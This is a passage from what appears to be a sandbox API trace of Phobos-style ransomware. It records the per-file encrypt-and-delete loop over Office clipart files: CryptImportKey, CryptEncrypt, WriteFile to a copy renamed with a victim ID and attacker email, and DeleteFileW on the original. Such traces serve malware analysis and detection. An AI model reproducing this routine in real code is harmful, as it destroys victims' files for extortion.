lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x128, lpOverlapped=0x0) returned 1 [0133.143] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x130, dwBufLen=0x130 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x130) returned 1 [0133.143] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x130, lpOverlapped=0x0) returned 1 [0133.144] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x7530d8) returned 1 [0133.144] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.144] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.144] CryptDestroyKey (hKey=0x7530d8) returned 1 [0133.144] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.209] CryptDestroyKey (hKey=0x752d58) returned 1 [0133.209] CloseHandle (hObject=0x2e4) returned 1 [0133.209] CloseHandle (hObject=0x308) returned 1 [0133.209] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0133.209] SetEvent (hEvent=0x2b8) returned 1 [0133.210] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.210] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3252) returned 1 [0133.210] CloseHandle (hObject=0x308) returned 1 [0133.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0133.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.210] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.210] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.211] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753098) returned 1 [0133.211] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.211] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xcb4, lpOverlapped=0x0) returned 1 [0133.222] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xcc0) returned 1 [0133.222] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xcc0, lpOverlapped=0x0) returned 1 [0133.223] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752a98) returned 1 [0133.223] CryptSetKeyParam (hKey=0x752a98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.223] CryptEncrypt (in: hKey=0x752a98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.223] CryptDestroyKey (hKey=0x752a98) returned 1 [0133.223] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.223] CryptDestroyKey (hKey=0x753098) returned 1 [0133.223] CloseHandle (hObject=0x308) returned 1 [0133.223] CloseHandle (hObject=0x2e4) returned 1 [0133.223] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0133.224] SetEvent (hEvent=0x2b8) returned 1 [0133.224] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.224] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=13042) returned 1 [0133.224] CloseHandle (hObject=0x2e4) returned 1 [0133.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0133.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.224] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.225] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.225] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0133.225] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.225] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x32f2, lpOverlapped=0x0) returned 1 [0133.244] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3300, dwBufLen=0x3300 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3300) returned 1 [0133.244] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3300, lpOverlapped=0x0) returned 1 [0133.245] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0133.245] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.245] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.245] CryptDestroyKey (hKey=0x752c58) returned 1 [0133.245] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.245] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.245] CloseHandle (hObject=0x2e4) returned 1 [0133.245] CloseHandle (hObject=0x308) returned 1 [0133.246] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0133.249] SetEvent (hEvent=0x2b8) returned 1 [0133.249] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.250] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=6958) returned 1 [0133.250] CloseHandle (hObject=0x308) returned 1 [0133.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0133.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.250] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.250] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.251] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e58) returned 1 [0133.251] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.251] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1b2e, lpOverlapped=0x0) returned 1 [0133.307] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1b30) returned 1 [0133.307] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1b30, lpOverlapped=0x0) returned 1 [0133.308] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e18) returned 1 [0133.308] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.308] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.308] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.308] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.308] CryptDestroyKey (hKey=0x752e58) returned 1 [0133.308] CloseHandle (hObject=0x308) returned 1 [0133.308] CloseHandle (hObject=0x2e4) returned 1 [0133.309] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0133.309] SetEvent (hEvent=0x2b8) returned 1 [0133.309] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.310] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=13936) returned 1 [0133.310] CloseHandle (hObject=0x2e4) returned 1 [0133.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0133.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.310] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.310] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.311] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e18) returned 1 [0133.311] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.311] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3670, lpOverlapped=0x0) returned 1 [0133.338] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3680, dwBufLen=0x3680 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3680) returned 1 [0133.338] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3680, lpOverlapped=0x0) returned 1 [0133.339] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0133.339] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.339] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.339] CryptDestroyKey (hKey=0x753098) returned 1 [0133.339] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.339] CryptDestroyKey (hKey=0x752e18) returned 1 [0133.339] CloseHandle (hObject=0x2e4) returned 1 [0133.339] CloseHandle (hObject=0x308) returned 1 [0133.339] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0133.340] SetEvent (hEvent=0x2b8) returned 1 [0133.340] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.340] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=6780) returned 1 [0133.340] CloseHandle (hObject=0x308) returned 1 [0133.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0133.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.340] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.341] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.341] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.341] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f18) returned 1 [0133.341] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.341] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1a7c, lpOverlapped=0x0) returned 1 [0133.347] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1a80) returned 1 [0133.347] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1a80, lpOverlapped=0x0) returned 1 [0133.348] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0133.348] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.348] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.348] CryptDestroyKey (hKey=0x753098) returned 1 [0133.348] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.348] CryptDestroyKey (hKey=0x752f18) returned 1 [0133.348] CloseHandle (hObject=0x308) returned 1 [0133.348] CloseHandle (hObject=0x2e4) returned 1 [0133.348] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0133.349] SetEvent (hEvent=0x2b8) returned 1 [0133.349] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 